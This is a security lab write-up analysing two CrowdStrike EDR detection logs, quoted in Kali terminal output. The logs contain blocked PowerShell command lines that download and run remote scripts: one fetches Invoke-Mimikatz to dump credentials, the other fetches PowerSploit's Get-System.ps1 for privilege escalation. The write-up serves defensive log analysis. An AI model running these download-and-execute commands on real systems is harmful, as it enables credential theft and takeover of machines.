

EDR: Log Analysis

Objective

The goal of this lab was to analyze CrowdStrike EDR logs to identify potential security threats. The primary focus was on understanding the nature of the attacks, the tactics employed, and the severity of the incidents.

Analyzing the First Log

1. Log Examination

The initial step involved closely examining the CrowdStrike EDR logs. A screenshot was provided to illustrate the typical structure and content of these logs.

```
(kali㉿kali)-[/media/sf_CyberSec/EDR]
$ cat edr1.log
{"metadata": {"offset": 102800, "eventCreationTime": 1666292532000, "version": "1.0", "eventType": "Detection SummaryEvent", "customerIDString": "bfe82e86755a4b90923ff30690984123"}, "event": {"Technique": "OS Credential Dumping", "DetectName": "Credential Theft", "PatternDispositionDescription": "Prevention, process was blocked from execution.", "DetectDescription": "A PowerShell script appears to be launching mimikatz, a password dumping utility. This is often launched as part of a PowerShell exploit kit. Decode and review the script.", "SeverityName": "High", "ProcessId": 69856319353, "IOCValue": "9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f", "SensorId": "67759c8f98aa4342b017bc3b335dc7f5", "MachineDomain": "WINDOWS10-CS4", "DetectID": "ldt:67759c8f98aa4342b017bc3b335dc7f5:68724034237", "Severity": 4, "Objective": "Gain Access", "ParentCommandLine": "cmd", "ProcessStartTime": 1666292531, "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Users\\W-CS2\\Downloads\\EventLogForRedTeams-main\\EventLogsForRedTeams\\Program.exe", "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\cmd.exe", "PatternDispositionValue": 2048, "ParentProcessId": 69805294687, "Tactic": "Credential Access", "HostGroups": "f88b758c7b3d4abfa9872bae1309af3e", "LocalIP": "10.1.1.127", "FilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0", "IOCType": "hash_sha256", "GrandparentCommandLine": "\\C:\\Users\\W-CS2\\Downloads\\EventLogForRedTeams-main\\EventLogsForRedTeams\\Program.exe\\", "UserName": "W-CS2", "ProcessEndTime": 1666292531, "SHA256String": "9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f", "PatternDispositionFlags": {"KillSubProcess": false, "SensorOnly": false, "QuarantineMachine": false, "CriticalProcessDisabled": false, "KillActionFailed": false, "ProcessBlocked": true, "RegistryOperationBlocked": false, "FsOperationBlocked": false, "HandleOperationDowngraded": false, "Detect": false, "BootupSafeguardEnabled": false, "OperationBlocked": false, "KillProcess": false, "PolicyDisabled": false, "Indicator": false, "SuspendParent": false, "SuspendProcess": false, "QuarantineFile": false, "KillParent": false, "BlockingUnsupportedOrDisabled": false, "Rooting": false, "InddetMask": false}, "FileName": "powershell.exe", "AssociatedFile": "\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "MACAddress": "00-50-56-ab-2c-9a", "CommandLine": "powershell \\IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds\\", "MD5String": "04029e121a0cfa5991749937dd22a1d9", "ComputerName": "WINDOWS10-CS4", "SHA1String": "00000000000000000000000000000000", "ta_data": {"TA_version": "2.1.0", "Input": "crowdstrike", "Cloud_environment": "us_commercial2", "Feed_id": "0", "Multiple_feeds": "False"}}
```

2. Data Formatting

The 'sed' command was employed to transform the log file. This process aimed to create a new file where variables and values were separated by commas, enhancing readability.


```
(kali㉿kali)-[/media/sf_CyberSec/EDR]
$ sed 's/,/\n/g' edr1.log
{"metadata": {"offset": 102800
"eventCreationTime": 1666292532000
"version": "1.0"
"eventType": "DetectionSummaryEvent"
"customerIDString": "bfe82e86755a4b90923ff30690984123"}
"event": {"Technique": "OS Credential Dumping"
"DetectName": "Credential Theft"
"PatternDispositionDescription": "Prevention
process was blocked from execution."
"DetectDescription": "A PowerShell script appears to be launching
a password dumping utility. This is often launched as part of a Po
```

Analyzing the Second Log

1. File Details

The second log analysis centered on identifying the name and extension of the file the attacker attempted to download. The file in question was 'Get-System.ps1'.

```
"FileName": "powershell.exe"
"MACAddress": "00-50-56-ab-2d-fd"
"CommandLine": "powershell.exe -ExecutionPolicy Bypass -C \"powershell.exe
pass -C \\\"IEX (New-Object Net.WebClient).DownloadString('https://raw.gith
tent.com/PowerShellMafia/PowerSploit/master/Privesc/Get-System.ps1'); Get-S
erviceName 'mstdc' -PipeName 'mstdc'\\\"\"\"
\"localIP\": \"10.1.1.120\"
```

2. Alert Severity

The severity of the alert associated with the second log was determined to be 'high.'

```
"event": {"DetectName": "Attacker Methodology"
"PatternDispositionDescription": "Prevention
operation blocked."
"DetectDescription": "A PowerShell process downloade
his is often the result of a malicious macro designed
age payloads. Review the command line."
"SeverityName": "High"
"ProcessId": 50651215917
"SensorId": "bfbf4caea00244ffb7e3ef1adfc593a8"
"MachineDomain": "INFALCONCS01"
"DetectId": "ldt:bfbf4caea00244ffb7e3ef1adfc593a8:38
```

Conclusion

In conclusion, the analysis of Crowdstrike EDR logs revealed significant insights into potential security threats. The first log exposed an attempt to download the 'Invoke-Mimikatz' PowerShell script, employing the MITRE technique of 'OS Credential Dumping.' The second log highlighted an attempted download of 'Get-System.ps1,' with a corresponding high severity alert. These findings show how important are continuous monitoring and proactive security measures to safeguard against evolving cyber threats.